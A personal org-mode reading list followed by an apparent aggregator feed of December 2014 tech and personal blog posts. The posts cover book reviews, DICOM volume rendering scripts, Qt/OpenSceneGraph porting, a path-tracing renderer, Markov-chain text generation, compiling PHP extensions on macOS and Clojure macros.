[TODO]{.todo .TODO} Kundalini – An Untold Story: A Himalayan Mystic's Insight into the Power of Kundalini and Chakra Sadhana.

[TODO]{.todo .TODO} Show HN: Top books mentioned in comments on Hacker News.

[TODO]{.todo .TODO} The Prime of Miss Jean Brodie (novel).

[TODO]{.todo .TODO} Plan B.

[TODO]{.todo .TODO} Deskbound.

[TODO]{.todo .TODO} The Way of Wanderlust: The Best Travel Writing of Don George (Travelers' Tales).

[TODO]{.todo .TODO} We (novel).

[TODO]{.todo .TODO} Top Books on Amazon Based on Links in Hacker News Comments (Hacker News).

[TODO]{.todo .TODO} I'm OK, You're OK (Thomas A. Harris).

[TODO]{.todo .TODO} Mistakes Were Made (but not by me) (Tavris/Aronson).

[TODO]{.todo .TODO} Crucial Conversations (Patterson, Kelly…).

[TODO]{.todo .TODO} When Prophecy Fails (Festinger).

[TODO]{.todo .TODO} Influence (Robert Cialdini).

[TODO]{.todo .TODO} The Seven Day Weekend (Ricardo Semler).

[TODO]{.todo .TODO} Elements of Style (various).

[TODO]{.todo .TODO} The Man Who Sold the Eiffel Tower (various).

[TODO]{.todo .TODO} How to talk to anyone (Leil Lowndes).

[TODO]{.todo .TODO} On Heroes, Hero-Worship, and the Heroic in History by Thomas Carlyle.

[TODO]{.todo .TODO} Edwin Sir Arnold's The Light of Asia.

[TODO]{.todo .TODO} Edwin Sir Arnold's The Song Celestial or Bhagavad-Gita.

[TODO]{.todo .TODO} 50 great curries of india.

[TODO]{.todo .TODO} 8 Week to optimum health.

[TODO]{.todo .TODO} A Guide to the Good Life: The Ancient Art of Stoic Joy.

[TODO]{.todo .TODO} Building Microservices.

[TODO]{.todo .TODO} First Opium War essay.

[TODO]{.todo .TODO} Full catastrophe living.

[TODO]{.todo .TODO} goodreads.com.

[TODO]{.todo .TODO} Leaving Microsoft to Change the world.

[TODO]{.todo .TODO} Letters from a stoic.

[TODO]{.todo .TODO} Michael's bookshelf.

[TODO]{.todo .TODO} Neil degrasse tyson's reading list.

[TODO]{.todo .TODO} On the Road, by Jack Kerouac.

[TODO]{.todo .TODO} Public domain audio books.

[TODO]{.todo .TODO} Royal horticultural society's organic Gardening.

[TODO]{.todo .TODO} Salman Rushdie books.

[TODO]{.todo .TODO} Technopoly: The Surrender of Culture to Technology.

[TODO]{.todo .TODO} The Songlines, Bruce Chatwin.

[TODO]{.todo .TODO} The Walker's Guide to Outdoor Clues and Signs.

[TODO]{.todo .TODO} Thing Explainer: Complicated Stuff in Simple Words.

[TODO]{.todo .TODO} Ultimate curry bible.

[TODO]{.todo .TODO} Veg patch.

[TODO]{.todo .TODO} What Every JavaScript Developer Should Know About ECMAScript 2015.

[TODO]{.todo .TODO} Cameron Desautels's 2016 reading list.

[TODO]{.todo .TODO} Thinking Fast and Slow (Kahneman).

[DONE]{.done .DONE} Autonomous by Annalee Newitz.

[DONE]{.done .DONE} This Book Is Full of Spiders by David Wong.

[DONE]{.done .DONE} Why we sleep (twitter outline).

[DONE]{.done .DONE} Flow: The Psychology of Optimal Experience.

[DONE]{.done .DONE} Haruki Murakami.

[DONE]{.done .DONE} Vagabonding: An Uncommon Guide to the Art of Long-Term World Travel.

Books of 2014

bastibe.de — Tue, 30 Dec 2014 02:00:00 GMT

Ancillary Justice / Ancillary Sword, by Ann Leckie

I have been reading a lot of science fiction in the last few years. These books are part one and two of the best space opera I have ever read. The story is written from the perspective of an AI, sometimes inhabiting a lot of bodies, sometimes only one. Interestingly, this makes for a very introspective viewpoint, where politics and actions are expressed as consequences of nuanced human behavior and astute observation, as opposed to arbitrary human decisions. This perspective is extremely compelling, and makes for an extremely _human_ story in a world that is a clever amalgamation of ancient Roman society and post-modern egalitarianism. There is no book I look forward to more fiercely than the conclusion of this series.

Scott Pilgrim, by Bryan Lee O'Malley

Scott Pilgrim is a twenty-something in the nineties. Scott Pilgrim doesn't have a job, and likes to play video games. Scott Pilgrim is fighting epic Anime battles against his girlfriends' exes. Scott Pilgrim is everyone, living in the real world. Scott Pilgrim is awesome, especially the new color-versions. The last part of the series will be released next year, and I really can't wait! (There's also a movie that is supposedly very good, but I won't watch it until I read all the comic books).

Doomsday Book, by Connie Willis

This is about time travel from near-future Britain to the fifteenth century. But then, an epidemic breaks loose: Britain is in quarantine and civil order starts breaking. At the same time in the fifteenth century, the plague hits. Disease, and the people trying to deal with it, is a human tragedy beyond belief. Connie Willis manages to write about these things with empathy, and astounding humane love and humor. This story moved me more deeply than I care to acknowledge.

2014 in review

Jason Eckert's Website and Blog — Tue, 30 Dec 2014 02:00:00 GMT

I think it’s always a good idea each year to reflect on the events that happened during the year - it’s a great way to remember some of the great things that have happened, as well as put some of the not-so-great things that have happened in perspective. If you regularly post to social media (e.g. Facebook or Twitter), looking back on your posts are a great way to revisit the major events that took place during the year. Better yet, by summarizing them in a blog post (as I’m doing here), you’ll preserve those events for posterity and make it easy to revisit them in distant years too!

Volume rendering for DICOM images

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Mon, 29 Dec 2014 18:39:40 GMT

I always wanted to look inside my own head. During the last few years, I was given the opportunity to do so. On several occasions, doctors took some “MRI” images of my head (there is nothing wrong with my head—this was the standard operating procedure in some situations). Some time later, they also took “MRA” images, meaning that I got to see my grey matter and my blood vessels. Even better, the doctors were only happy to provide me with the raw data from their examinations. A true treasure for a visualization scientists, as both MRI and MRA result in “Voxel data” that may be visualized by “volume rendering techniques”. In mathematical terms, I wanted to visualize a 3-dimensional scalar field in a cubical volume. In Hollywood terms, I wanted a program to zoom into my brain and take a look at my blood vessels.

This post describes how I went from a stack of DICOM images to a set of raw volume data sets that can be visualized with ParaView, for example.

The setup

The German healthcare system being what it is, I quickly received a bunch of DVDs with my images. The DVDs contained some sort of Java-based viewer application, developed by CHILI GmbH. Unfortunately, medical laypersons such as myself are probably not the targeted user group for this software—I thus decided that it would be easier to rely on other tools for visualizing my head. A quick investigation showed that the data are ordered in a hiearchy such as DATA/PAT/STUD??/SER??/IMG???. The STUD part refers to the examination that was performed, e.g. an MRI of a certain part of the head. Each SER part contains up to (in my case) 33 different directories with the results of a single series of the MRI/MRA. Each subdirectory consists of lots of single images in “DICOM format”.

DICOM describes a standard for exchanging information in medical imaging. It is rather complicated, though, so I used the ImageJ image processing program, to verify that each of the images describes a slice of the MRI/MRA data. To obtain a complete volume from these image, I had to convert them into a single file. Luckily, some brave souls have spent a considerable amount of time (and, I would expect, a sizeable amount of their sanity, as well) to write libraries for parsing DICOM. One such library is pydicom, which permits reading and (to a limited extent) writing DICOM files using Python. It is currently maintained by Darcy Mason. Since pydicom’s documentation is rather raw at some places, I also perused Roni’s blog “DICOM is easy” to grasp the basics of DICOM. It turned out that each of the DICOM files contains a single entry with raw pixel data. Since all images of a given series should have the same dimensions, I figured that it would be possible to obtain a complete volume by extracting the raw data of each image and concatenating them. I wrote multiple Python scripts for doing these jobs.

Sample data

If you do not have any DICOM images at your disposal, I would recommend visiting the homepage of Sébastien Barré and download the CT-MON2-16-brain file, for example. I would very much like to include some sample files in the repository of the scripts, but I am not sure how these samples are licenced, so I prefer linking to them.

dicomdump.py

This script extracts the “pixel data” segment of a DICOM file while writing some information to STDERR:

$ ./dicomdump.py CT-MONO2-16-brain > CT-MONO2-16-brain.raw
##############
# Pixel data #
##############

Width:                      512
Height:                     512
Samples:                    1
Bits:                       16
Photometric interpretation: MONOCHROME2
Unsigned:                   0

You should now be able to read CT-MONO2-16-brain.raw using ImageJ, for example.

dicomcat.py

This script concatenates multiple images from a series of DICOM files to form a volume. Assuming you have files with a prefix of IMG in the current directory, you could do the following:

$ ./dicomcat.py IMG* > IMG.raw
[ 20.00%] Processing 'IMG001'...                                  
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to '<stdout>'

Using the optional --prefix parameter, you can also create an output file automatically:

$ ./dicomcat.py --prefix IMG Data/2011/STUD02/SER01/IMG00* 
[ 20.00%] Processing 'IMG001'...
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to 'IMG_320x320x5_16u'

The file names generated by the script follow the same pattern. The first three numbers indicate the dimensions of the volume, i.e. width, height, and depth. The last digits indicate the number of bits required to read the image and whether the data are signed (indicated by s) or unsigned (indicated by u). The example file is thus a volume of width 320, height 320, and depth 5, requiring 16 bit unsigned integers for further processing.

recursive_conversion.py

This script converts the aforementioned directory hierarchy. Just point it towards a root directory that contains subdirectories with series of images and it will automatically create raw images. For example, assuming that you have folders SER1, SER2, and SER3 in the folder STUD. To concatenate all images in all of these folders automatically, call the script as follows:

$ ./recursive_conversion.py STUD
[ 20.00%] Processing 'IMG001'...
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to 'SER1_320x320x20_16u'
[...]
Finished writing data to 'SER2_320x320x15_16u'
[...]
Finished writing data to 'SER3_512x512x10_16u'

Viewing the volume

The easiest option for viewing the volume is ParaView. Open the file using the “Raw (binary)” file type. In the “Properties” section of the data set, enter the correct extents. A 352x512x88 file, for example, has extents of 351x511x87, respectively. Choose “Volume” in the “Representation” section and play with colour map until you see the structures you want to see.

This is what it looks like:

Blood vessels in my brain. If I were a neurologist, I could probably name them as well. Hazarding a guess, I would say that the prominent structure is probably the carotid artery.

Code

The code is released under the “MIT Licence”. You may download the scripts from their git repository.

Graceling (Graceling Realm, #1)

Apurva Shukla's RSS Feed — Mon, 29 Dec 2014 09:03:56 GMT

⭐ ⭐ ⭐ ⭐ This book was fantastic.. The overall feel of the world the author wove together was excellent. However I think this was more of a…

Microservices bookmarks

xenodium.com @alvaro — Mon, 29 Dec 2014 02:00:00 GMT

Gardening bookmarks

xenodium.com @alvaro — Mon, 29 Dec 2014 02:00:00 GMT

The Martian

🦉 olshansky 🦁 — Mon, 29 Dec 2014 02:00:00 GMT

Olshansky's review of The Martian by Andy Weir

The Craft of Code

Ben Overmyer's Site — Mon, 29 Dec 2014 02:00:00 GMT

Writing code for a living is a lot like writing for a living, except that your primary audience will never see the words you write. Architects have their work on display for all to see. Writers can touch the souls of their readers directly with their prose. But coders build things that you will only see ephemerally, a distant and indistinct experience that you can only define as "working" or "buggy." That doesn't stop the code from being as much an extension of our personality as a writer's work is. All coders have a particular style to their programming. Some might chalk it up to "best practices" or "the way it should be," but really, it's character. No one will ever write the most efficient code, though we might strive for something akin to that. No one will write code without some hint of their personality creeping into it; be that perfectionism, minimalism, or perhaps a flair for the dramatic. Characters and narratives don't play so much a part in code as they do in other creative works, but other forms of art also exist primarily as an expression of the craftsman. Paintings are particularly evident of this. The next time you write an app, or even a simple script, take a moment to think about how you've written it. What does it say about you?

Magic in the Moonlight

🦉 olshansky 🦁 — Mon, 29 Dec 2014 01:24:49 GMT

Olshansky's review of Magic in the Moonlight

Making Qt and OpenSceneGraph play nice: An addendum

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Sun, 28 Dec 2014 17:16:06 GMT

I have written a number of posts about Qt and OpenSceneGraph this year. Starting from how to design a basic widget for OSG, I showed how to extend the widget to enable rectangular selections. In the last post so far, I explained how to do some simple object picking.

In the process of receiving some feedback about these articles, I learned even more about OpenSceneGraph. To ensure that the code and articles remain valid in the future, there are a couple of remaining issues on which I want to expand briefly.

Porting to Microsoft Windows

I do not have much experience in developing for this platform. However, thanks to Andrew Cunningham, I now know that the program compiles & runs under Microsoft Windows if the selection rectangle is not drawn. Apparently, QPainter (which I use for drawing the selection rectangle) uses “GDI”, which does not mix well with OSG’s OpenGL rendering.

As a remedy, I made the selection rectangle (as well as the object picking) configurable. Just set the variables WITH_PICK_HANDLER and WITH_SELECTION_PROCESSING accordingly using ccmake in your build directory. I hope that I may fix this properly one time.

Porting to OS X

Again, I have only limited experience with this platform. However, I can at least guarantee that the program compiles and runs reasonable well. I had to install Qt4 using the excellent Homebrew package manager for OS X. OS X also handles graphics context switches differently that Linux, which exposed another bug in the program—I had to use makeCurrent() and doneCurrent() in the drawing routines to ensure that the OSG widget is allowed to use the graphics context.

There are still some glitches, though: The QMdiArea widgets do not overlap correctly when being moved. I strongly suspect that this is an issue with Qt and not with OSG (since OSG knows nothing about the widget geometry). Furthermore, the widgets will not be rendered correctly all the time. This seems to be caused by OS X switching between two graphics cards.

Unfortunately, I don’t have any definite solutions for this. I will update the program, though, if I find the root cause.

Using Qt 5

To end on a more positive note: The program is now using Qt 5 instead of Qt 4. This at least was rather easy to achieve and only involved some changes in the CMakeLists.txt file. Note that I incremented the minimum required version to 2.8.11 in order to ensure that Qt 5 is being integrated correctly.

Code

The code is available in a git repository. Please report any bugs or issues.

Kippo findings round two

Erethon's Corner — Sun, 28 Dec 2014 13:46:23 GMT

It's been over a month since I set up twelve Kippo hosts using my Ansible playbook, time to get some stats.

Takua Render Revision 5

Code & Visuals — Sun, 28 Dec 2014 02:00:00 GMT

I haven’t posted much at all this past year due, but I’ve been working on some stuff that I’m really excited about! For the past year and a half, I’ve been building a new, much more advanced version of Takua Render completely from scratch. In this post, I’ll give a brief introduction and runthrough of the new version of Takua, which I’ve numbered as Revision 5 or a0.5. Since I first started exploring the world of renderer construction a few years back, I’ve learned an immense amount about every part of building a renderer, ranging all the way from low level architecture all the way up to light transport and surface algorithms. I’ve also been fortunate and lucky enough to be able to meet and talk to a lot of people working on professional, industry quality renderers and people from some of the best rendering research groups in the world, and so this new version of my own renderer is an attempt at applying everything I’ve learned and building a base for even further future improvement and research projects.

Very broadly, the two things I’m most proud of with Takua a0.5 are the internal renderer architecture and a lot of work on integrators and light transport. Takua a0.5’s internal architecture is heavily influenced by Disney’s Sorted Deferred Shading paper, the internal architecture of NVIDIA’s Optix engine, and the modular architecture of Mitsuba Render. In the light transport area, Takua a0.5 implements not just unidirectional pathtracing with direct light importance sampling (PT), but also correctly implements multiple importance sampled bidirectional pathtracing (BDPT), progressive photon mapping (PPM), and the relatively new vertex connection and merging (VCM) algorithm. I’m planning on writing a series of posts in the next few weeks/months that will dive in depth into Takua a0.5’s various features.

Takua a0.5 has also marked a pretty large shift in strategy in terms of targeted hardware. In previous versions of Takua, I did a lot of exploration with getting the entire renderer to run on CUDA-enabled GPUs. In the interest of increased architectural flexibility, Takua a0.5 does not have a 100% GPU mode anymore. Instead, Takua a0.5 is structured in such a way that certain individual modules can be accelerated by running on the GPU, but overall much of the core of the renderer is designed to make efficient use of the CPU to achieve high performance while bypassing a lot of the complexity of building a pure GPU renderer. Again, I’ll have a detailed post on this decision later down the line.

Here is a list of the some of the major new things in Takua a0.5:

Completely modular plugin system
- Programmable ray/shader queue/dispatch system
- Natively bidirectional BSDF system
- Multiple geometry backends optimized for different hardware
- Plugin systems for cameras, lights, acceleration structures, geometry, viewers, materials, surface patterns, BSDFs, etc.
Task-based concurrency and parallelism via Intel’s TBB library
Mitsuba/PBRT/Renderman 19 RIS style integrator system
- Unidirectional pathtracing with direct light importance sampling
- Lighttracing with camera importance sampling
- Bidirectional pathtracing with multiple importance sampling
- Progressive photon mapping
- Vertex connection and merging
- All integrators designed to be re-entrant and capable of deferred operations
Native animation support
- Renderer-wide keyframing/animation support
- Transformational AND deformational motion blur
- Motion blur support for all camera, material, surface pattern, light, etc. attributes
- Animation/keyframe sequences can be instanced in addition to geometry instancing

The blue metallic XYZRGB dragon image is a render that was produced using only Takua a0.5. Since I now have access to the original physical Cornell Box model, I thought it would be fun to use a 100% measurement-accurate model of the Cornell Box as a test scene while working on Takua a0.5. All of these renders have no post-processing whatsoever. Here are some other renders made as tests during development:

More interesting non-Cornell Box renders coming in later posts!

Edit: Since making this post, I found a weighting bug that was causing a lot of energy to be lost in indirect diffuse bounces. I’ve since fixed the bug and updated this post with re-rendered versions of all of the images.

2014-12-28/01

ho.dges.online — Sun, 28 Dec 2014 02:00:00 GMT

2014-12-28/02

ho.dges.online — Sun, 28 Dec 2014 02:00:00 GMT

Although this looks like some sort of African sunrise, this was in fact taken on the outskirts of… Kirkintilloch.

Personality

Liza Shulyayeva — Sat, 27 Dec 2014 11:58:56 GMT

Every morning I wake up to my cat Rigel wanting to play. He jumps around the bed and brings in his favorite toy ferret, purring and stepping on us until we either get up or put him outside. Then I get up and go to get a plastic bag from the kitchen before I do anything else. I go to Rigel’s jumbo sized litter box, followed by the cat who sits next to me and watches as I clean it. As soon as I’m done he steps inside and does his business. Meanwhile, I leave to wash my hands and start washing up/brushing my teeth in the bathroom. One or two minutes later Rigel turbos in, jumps full speed onto the toilet (I always have to be sure the lid is closed before this happens - there have been incidents) and then into the sink, sticking his head and paws into the water (which I make sure is lukewarm before he gets in). We take turns at the tap for about five minutes. I leave, he sometimes rests in the sink, and then the morning pooping and cleaning ritual is over.

March 2013 - December 2014 on TfL

rob.sh — Fri, 26 Dec 2014 13:48:13 GMT

Oyster usage data from TfL for my Oyster card, March 2013 - December 2014. Data visualisation is with D3.js - mouse-over a station to isolate journeys to and from that location. Larger version.

Lissacurses - Lissajous curves on the console

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Fri, 26 Dec 2014 10:30:33 GMT

While cleaning out my project directory, I stumbled over some rather ancient code for generating “Lissajous curves” on the console. These were probably my first steps with the “ncurses” library, back in the days when I knew nothing much about anything.

I decided to share the program anyway, and after half an hour of cleaning the source and having fun with CMake, the program still builds on my Archlinux desktop.

Short usage information:

Press a/A to decrease/increase the value of the “a” variable
Press b/B to decrease/increase the value of the “b” variable
Press -/+ to decrease/increase the value of the “delta” variable, resulting in the curve being rotated
Press q to quit the program

The program is released under the “MIT Licence”. You may get the source from the Lissacurses git repository. This repository also contains more detailed instructions for building the program.

2014-12-26

ho.dges.online — Fri, 26 Dec 2014 02:00:00 GMT

Markov chains for Christmas

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Thu, 25 Dec 2014 17:00:21 GMT

I have always been fascinated by “Markov chains” for text generation. Despite their simple structure, a sufficiently large body of text will result in strikingly interesting products. Naturally, I had to provide my own implementation for simple text generation.

Algorithm

My algorithm first tokenizes each input file. I consider each punctuation mark to be a token as well because the results sound slightly more natural that way. This treatment requires me to check for punctuation marks when writing the text to STDOUT because punctuation marks should of course not introduce additional whitespace.

Having tokenized the file, I extract prefixes of a certain length (say 2) and map them to the subsequent. This yields a function from the set of prefixes to the set of potential candidate words. To start the Markov chain generation, I choose a prefix at random and choose a new candidate using a uniform distribution. Since I do not check for duplicates in the list of candidate words, I do not need to take relative frequencies into account. The old prefix is updated to include the new candidate. This yields a new prefix from which I may choose a new candidate, and so on.

I opted for the lazy implementation and simple repeat this step until a predefined number of iterations has been reached.

Examples

This is an example of a new Christmas song. Some of the lines appear to be taken verbatim from a song because there is too little text for the algorithm to choose from. Still, the result is quite nice:

Mary, and the bitter weather. Sire, the baby awakes, But the fire is so hard to sleep tonight They know that Santa’s on his sleigh And ev’ry mother’s child is gonna spy To see if reindeer really know how to fly And so, I’m Telling you why: Santa Claus comes tonight. Here were are as follows, and on my back I fell; A gent was riding by, in a pear tree.

Using the King James bible (and hence a larger text corpus), the result sounds rather ominous:

Restrained they the things that are desolate in the eyes of my people, then thou shalt take all the inhabitants of the land of Judah, and fall; and they opened their mouths, that they might know thee, O LORD, I shall eat of the giant. 21:19 And it came to pass. 24:13 And I went to Pilate, and they let her own, and the vail that is written, He that hath not sent to the wilderness of Paran.

Usage and code

$ mkdir build
$ cd build
$ cmake ../
$ make
$ markov --prefix 2 --iterations 10 ../Christmas.txt

Anything that does not belong to either one of the optional --prefix or --iterations parameters is considered a filename. The program currently combines all files into a large database. This is subject to change.

This program is released under the “MIT Licence”. You may get the source from my git repository.

State of the Snail, 2014

Liza Shulyayeva — Thu, 25 Dec 2014 15:28:14 GMT

It’s been a long year for snailing. My simulation got a name, my snails got a brain, and a dev environment was deployed outside of my poor little MacBook Air that’s been chugging away like crazy with all the server and VM crap I’ve had to host on it.

Art as a form of compression

D13V — Thu, 25 Dec 2014 02:00:00 GMT

When I met you in the summer,

to my heart beats sound,

we fell in love,

as the leaves turned brown

….

Summer - Calvin Harris

I was relaxing and looking a tree whose leaves had become red-brown and this song came to my mind. I like it. I’ve heard it several times before, and repeated the main parts a few times internally. But then I was a bit bothered by the “as the leaves turned brown”. Why is it there? What good does it serve? It didn’t really mean much but was one of the two most memorable parts of the song, at least for me. The other one being “met you in the summer”. These two parts were the most catchy for me. And “the leaves turned brown” didn’t really mean anything for the main story, or so it seemed at first.

Then I thought, wait a minute, it actually means a bunch of things. It invokes a feeling of being outside, in the air, among nature. It is romantic. It explains which time of the year it happened - the part of autumn during which the trees start pigmenting and shedding their leaves. It explains the time granularity. The falling in love didn’t happen overnight, but developed over the course of weeks. It probably happened in a temperate climate area, as these are the ones which have such summer and autumn seasons. It probably happened during the day, that’s when the leaves are visible.

Wow, that’s a lot of information packed in just four words, and I’m sure more things could be inferred. The compression rate is enormous. Calvin Harris, or whomever wrote the text, is able to communicate with us at a really really high rate. Shannon’s law of communication channels states that the maximum information transfer rate is the capacity of the communication channel times the mutual information. In this case, the capacity of the communication channel is four words. But because both we and the author share the same background information about what is romantic and how seasons work and about how long it takes the leaves to turn brown, we can get so much interesting knowledge out of these four words.

But there is more. The text of the song makes most sense when the listener is part of a certain social environment. Certain songs only make sense in a certain country. Similar to how many jokes are really hard to translate in a different language, if a person comes from a different background than you, then your joke would probably not be funny to them, and they might not understand why you like the text of a certain song. When a song is only understandable within a certain community, at a certain time, the song embeds something unique about that community. The song is an embedding of that community in that point in time. The song, and it lyrics is a very compact way of representing the “culture” of this environment.

Song lyrics and poetry are amazing in their ability to convey huge amount of information when the listener has shared background with the author. But they can also serve the opposite purpose - to define the environment, the feelings of the author, the emotions, the culture, the lesson and the cause. For when we understand the words and the feelings we could learn something about the environment if we know the author’s feelings.

feelings, culture ---> lyrics

Of course, we won’t learn everything about the culture from a single song or a poem. But we will learn at least something. Chances are, that if we have a lot of songs, poems, movies, paintings or any kind of art from a given environment, we will learn a lot about it. All of these art forms preserve a given culture, moment or feeling by embedding it into some kind of physical material. In some cases this material can outlast the original environment. Homer’s “Iliad” has captured a lot of hystory and culture about ancient Greece. The original environment about the Troy war disappeared to the point where nobody believed it existed any more, until in the 19th century archaeologists inspired by the text of the Iliad looked for Troy and found its ruins ([1]).

Given how much one could learn about Troy’s war from Iliad, and about any other environment from the art originating in it, I would say that art is a pretty badass form of compression. In just a few artifacts such as text, notes, or paint on canvas, it can capture an environment and save it for posterity. Growing up fascinated with math, and later with computers, I’ve been enjoying art but also underestimating it a lot. Always thinking that it is mostly a form of entertainment, I’ve had fun, but didn’t take it very seriously. I guess I was wrong about it. Which is actually pretty exciting, because now I have the chance to learn so much about the different environments and the different lives and emotions in them, just from music, books, and paintings.

[1] https://en.wikipedia.org/wiki/Heinrich_Schliemann

Install PHP's Built In Extensions in macOS

Donat Studios — Wed, 24 Dec 2014 01:40:16 GMT

Should you run into errors related to missing php.h or other .h files, you should check out my post on fixing missing headers on macOS Mojave.

These directions are for working with the native installation of PHP. Your results may vary if you are using a brew, MAMP or otherwise installed version of PHP - I do not recommend this for those cases.

Important: As you are altering the built-in version of PHP, you will need to ensure you have disabled System Integrity Protection before you begin. You can find instructions on how to do this here: How to: Disable macOS System Integrity Protection.

This was previously dedicated to installing the Mcrypt extension specifically, but in reality can be used to install any of the following extensions distributed with the PHP source.

bcmath       ftp          mcrypt       pdo_oci      simplexml    wddx
bz2          gd           mysqli       pdo_odbc     skeleton     xml
calendar     gettext      mysqlnd      pdo_pgsql    snmp         xmlreader
com_dotnet   gmp          oci8         pdo_sqlite   soap         xmlrpc
ctype        hash         odbc         pgsql        sockets      xmlwriter
curl         iconv        opcache      phar         spl          xsl
date         imap         openssl      posix        sqlite3      zip
dba          interbase    pcntl        pspell       standard     zlib
dom          intl         pcre         readline     sysvmsg
enchant      json         pdo          recode       sysvsem
exif         ldap         pdo_dblib    reflection   sysvshm
fileinfo     libxml       pdo_firebird session      tidy
filter       mbstring     pdo_mysql    shmop        tokenizer

We need to install the required dependencies. If you are not already using Homebrew you will need it.

$ brew install autoconf pkg-config

For certain extensions like mcrypt you may additionally need to install additional libraries such as:

$ brew install libmcrypt

Next we will download the PHP source. Verify the exact version of PHP you are running. This can be retrieved as follows. The version is highlighted.

$ php --version
PHP 7.1.19 (cli) (built: Aug 17 2018 18:03:17) ( NTS )
Copyright (c) 1997-2018 The PHP Group

Now we move into a working directory and download the source making sure to update the following for the version from above.

$ cd /tmp
$ curl -L http://php.net/get/php-{{php-version}}.tar.bz2/from/this/mirror > php.tar.bz2
$ open php.tar.bz2

Now we will compile and test the extension.

$ cd php-{{php-version}}/ext/{{extension}}
$ phpize
$ ./configure
$ make
$ make test
$ sudo make install

If all that goes well, finally we'll need to add the following to our php.ini - I usually add at it at the end of the file.

extension = {{extension}}.so

You can verify your installation with the following:

$ php --info | grep {{extension}}\\.

Lastly, depending on your setup now, you may want to restart Apache.

$ sudo apachectl restart

The Fall: Season 1

🦉 olshansky 🦁 — Mon, 22 Dec 2014 06:50:09 GMT

Olshansky's review of The Fall: Season 1

Deploying Gastropoda to Amazon Web Services - Never Forget

Liza Shulyayeva — Sun, 21 Dec 2014 15:39:59 GMT

After my last blog post I decided that it was time to deploy Gastropoda to Amazon Web Services - namely Elastic Beanstalk, which utilizes an EC2 instance (reserved) and an RDS DB instance.

Pythonista Power Pack

The David Brownman Blog — Sun, 21 Dec 2014 02:00:00 GMT

undefined

Read the whole thing.

Dino Fever!

THINK@RJ — Sat, 20 Dec 2014 16:47:00 GMT

Sufficient time has passed since the last social experiment with the “owl” as a pet. This time I wanted to pay a tribute to either the Jurassic Park movies OR the Star Wars movie, both of which have recently released trailers for their upcoming movie in the series.

A Digital Thank You

bastibe.de — Sat, 20 Dec 2014 02:00:00 GMT

This is the time of the year when we reflect on our lives, and be thankful. We write Christmas cards to people we like, and celebrate with our loved ones. At my job, I am sitting in front of a screen all day, and I interacted not only with people, but also their software. So this is a column where I want to thank people I don't know for their delightful software:

Org Mode

Thank you, Carsten Dominik, Bastien Guerry, and everyone else, for this amazing piece of software! I have used Org mode for my research journal, this blog, writing my thesis, general note-taking, and all-around planning tool. Thank you for making my life so much easier to manage!

Matthias Geier

Thank you, Matthias, for your many contributions to PySoundFile and PySoundCard, and our many enlightening discussions. You have brought these two projects far further than I would have ever gone, and I learned a lot in the process! Also, a quick thank you to Github, which made our collaboration effortless and enjoyable.

fish

Thank you, Ridiculous Fish, for bringing sane scripting, glorious VGA color, and general awesomeness to the command line! Finally, a shell that does not drown you in messy configuration, crazy syntax, and archaic conventions. Finally, a shell with beautiful documentation, and sane defaults! Thanks for all the fish!

BitTorrent Sync

Dropbox is awesome, no doubt, but it still feels awkward to upload all my documents to a faceless corporation. Synchronizing data between computers is still hard--or rather, used to be hard. Because this year I discovered btsync. I now have a real off-site backup and file synchronization system fully under my own control, and it took all of ten minutes to set up. Thank you!

X-Plane

This year, I got back into an old hobby of mine: Flight Simulation. In particular, this year I re-discovered X-Plane, and the marvelous and free sceneries by SimHeaven and Andras Fabian. Sadly, there doesn't seem to be any pilot school around where I can complete my real-world pilot's license, so flight simulation will have to do. But with this simulator, I am enjoying flight simulation more than ever!

moved to new static site generator (again)

zserge's blog — Sat, 20 Dec 2014 02:00:00 GMT

As you may have noticed, the site has changed its look. That’s because I made a small rewrite and it resulted in a new static site generator. It’s my another NIH product, this time it’s written in Go. stash away I used stash before. It was written in UNIX Shell and was really perfect for my needs. Then it became slower and slower. The reason is that it could not track the timestamps of the web pages so it regenerated every page every time.

Advertisers.io

Sam Solomon — Sat, 20 Dec 2014 02:00:00 GMT

Advertisers is an online community for those working in the marketing and advertising industry. I work for a medium-sized advertising agency called Red Square.

RPN Calc Part 10 – Macros and the Intent of the Code

Mike Schaeffer — Sat, 20 Dec 2014 02:00:00 GMT

One of the key attributes I look for when writing and reviewing code is that code should express the intent of the developer more than the mechanism used to achieve that intent. In other words, code should read as much as possible as if it were a description of the end goal to be achieved. The mechanism used to achieve that goal is secondary.

Over the years, I’ve found this emphasis improves the quality of a system by making it easier to write correct code. By removing the distraction of the mechanism underneath the code: it’s easier for the author of that code to stay in the mindset of the business process they’re implementing. To see what I mean, consider how hard it would be to query a SQL database if every query was forced to specify the details of each table scan, index lookup, sort, join, and filter. The power of SQL is that it eliminates the mechanism of the query from consideration and lets a developer focus on the logic itself. The computer handles the details. Compilers do the same sort of thing for high level languages: coding in Java means not worrying about register allocation, machine instruction ordering, or the details of free memory reclamation. In the short-term, these abstractions make it easier to think about the problem I’m being paid to solve. Over a longer time scale, the increased distance between the intent and mechanism makes it easier to improve the performance or reliability of a system. Adding an index can transparently change a SQL query plan and Java seamlessly made the jump from an interpreter to a compiler.

One of the unique sources of power in the Lisp family of languages is a combination of features that makes it easier build the abstractions necessary to elevate code from mechanism to intent. The combination of dynamic typing, higher order functions, good data structures, and macros can make it possible to develop abstractions that allow developers to focus more on what matters, the intent of the paying customer, and less on what doesn’t. In this article, I’ll talk about what that looks like for the calculator example and how Clojure brings the tools needed to focus on the intent of the code.

To level set, I’m going to go back to the calculator’s addition command defined in the last installment of this series.:

(fn [ { [x y & more] :stack } ]
   { :stack (cons (+ y x) more)})

Given a stack, this command removes the top two arguments from the stack, adds them, and pushes the result back on top of the stack. This stack:

1 2 5 7

becomes this stack:

3 5 7

While the Clojure addition command is shorter than the Java version, the Clojure version still includes a number of assumptions about the machinery used in the underlying implementation:

Calculator state is passed to the command as a map with a key :stack that holds the stack.
The input stack can be destructured as a sequence.
The output state is represented in a map allocated at the end of the command’s execution.
